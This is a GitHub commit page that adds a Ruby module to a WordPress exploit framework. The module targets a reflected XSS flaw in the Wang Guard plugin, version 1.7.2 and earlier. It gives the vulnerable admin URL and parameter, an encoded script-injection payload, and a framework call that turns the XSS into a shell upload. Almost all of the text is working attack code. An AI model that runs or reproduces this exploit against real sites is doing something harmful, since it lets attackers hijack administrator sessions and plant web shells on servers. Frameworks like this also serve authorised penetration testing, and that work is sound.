Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit a678f11

Browse files
committed
Add "wang guard" reflected xss shell upload module
1 parent 59d9940 commit a678f11

File tree

1 file changed

+31
-0
lines changed

1 file changed

+31
-0
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
class Wpxf::Exploit::WangGuardReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'Wang Guard <= 1.7.2 Reflected XSS Shell Upload',
9+
author: [
10+
'Paul Williams <phyushin[at]phyubox.com>' # WPXF module
11+
],
12+
references: [
13+
['WPVDB', '8725'],
14+
['URL', 'https://www.pluginvulnerabilities.com/2017/01/17/reflected-cross-site-scripting-xss-vulnerability-in-wangguard/']
15+
],
16+
date: 'Jan 17 2017'
17+
)
18+
end
19+
20+
def check
21+
check_plugin_version_from_readme('wangguard', '1.7.3')
22+
end
23+
24+
def vulnerable_url
25+
normalize_uri(wordpress_url_admin, 'admin.php?page=wangguard_users_info&userIP=')
26+
end
27+
28+
def url_with_xss
29+
"#{vulnerable_url}%3E%3Cscript%3E#{xss_ascii_encoded_include_script}%3C%2Fscript%3E%3C"
30+
end
31+
end

0 commit comments

Comments
 (0)